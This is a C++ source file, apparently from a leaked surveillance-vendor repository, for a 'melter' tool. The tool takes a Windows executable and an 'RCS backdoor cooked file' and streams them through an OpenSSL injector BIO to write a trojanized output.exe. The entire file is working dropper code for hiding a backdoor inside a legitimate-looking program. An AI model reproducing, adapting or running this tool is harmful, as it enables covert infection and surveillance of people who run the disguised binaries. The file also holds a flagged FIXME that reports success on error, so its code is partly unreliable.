hackedteam/vector-dropper

View on GitHub
RCSStreamingMelter/melter/main.cpp

Summary

Maintainability
Test Coverage
#include <iomanip>
#include <iostream>
#include <string>
using namespace std;

#include <boost/program_options.hpp>
namespace po = boost::program_options;

#include <boost/filesystem.hpp>
namespace bf = boost::filesystem;

#include <openssl/bio.h>
#include <openssl/err.h>
#include <openssl/evp.h>
#include <sys/stat.h>

#include "../MelterConfig.h"
#include "../include/melt.h"

#define READ_BUFF_SIZE  8192

int main(int argc, char* argv[]) {
    po::options_description desc("Usage");
    desc.add_options()
            ("help", "this help message")
            ("input,I", po::value< string > (), "input file (must be a Win32 PE executable)")
            ("output,O", po::value< string > ()->default_value("output.exe"), "output file")
            ("rcs,R", po::value< string > (), "RCS backdoor cooked file")
            ;
            
    po::variables_map vm;
    try {
        po::store(po::parse_command_line(argc, argv, desc), vm);
        po::notify(vm);
    } catch (std::exception& e) {
        cout << "Invalid parameter: " << e.what() << endl;
        return 1;
    }

    if (vm.count("help")) {
        // cout << "Melter version " << Melter_VERSION_MAJOR << "." << Melter_VERSION_MINOR << endl;
        cout << desc << endl;
        return 1;
    }

    bf::path input_path;
    if (vm.count("input")) {
        try {
            input_path = vm["input"].as< string > ();
        } catch (std::exception& e) {
            cout << "Invalid parameter: " << e.what() << endl;
            return 1;
        }
    } else {
        cout << "No input file provided." << endl;
        return 1;
    }

    bf::path output_path;
    if (vm.count("output")) {
        try {
            output_path = vm["output"].as< string > ();
        } catch (std::exception& e) {
            cout << "Invalid parameter: " << e.what() << endl;
            return 1;
        }
    }

    bf::path rcs_path;
    if (vm.count("rcs")) {
        try {
            rcs_path = vm["rcs"].as< string > ();
        } catch (std::exception& e) {
            cout << "Invalid parameter: " << e.what() << endl;
            return 1;
        }
    } else {
        cout << "No RCS backdoor selected." << endl;
        return 1;
    }

    cout << "Input file   : " << setw(32) << right << input_path << endl;
    cout << "Output file  : " << setw(32) << right << output_path << endl;
    cout << "RCS backdoor : " << setw(32) << right << rcs_path << endl;

    if (!bf::exists(input_path) || bf::is_directory(input_path)) {
        cout << input_path << " does not exists or is a directory." << endl;
        return 1;
    }

    if (!bf::exists(rcs_path) || bf::is_directory(rcs_path)) {
        cout << rcs_path << " does not exists or is a directory." << endl;
        return 1;
    }

    BIO* sbio = BIO_new_file(input_path.string().c_str(), "rb");
    BIO* output_bio = BIO_new_file(output_path.string().c_str(), "wb");

    BIO* bio_inject = BIO_new_injector(rcs_path.string().c_str());
    BIO_push(bio_inject, output_bio);

    BIO* cbio = bio_inject;

    struct stat sb;
    if (stat (input_path.string().c_str(), &sb) != 0) 
    return 0; // FIXME
    char *data = (char *) malloc(sb.st_size);

    int len;
    if (sbio && cbio) {
        /*
         * read the data from the server and write them to the client.
         * the correct sbio and cbio were set right above.
         */
        for (;;) {
            if (BIO_eof(sbio) || BIO_eof(cbio))
                break;
            
            len = BIO_read(sbio, data, sb.st_size);
            if (len < 0) {
                cout << "BIO_read: " << ERR_error_string(ERR_get_error(), NULL) << endl;
                break;
            }
            
            len = BIO_write(cbio, data, len);
            if (len < 0) {
                cout << "BIO_write: " << ERR_error_string(ERR_get_error(), NULL) << endl;
                break;
            }
        }
        
        (void) BIO_flush(cbio);
    }
    
    BIO_free(bio_inject);
    
    return 0;
}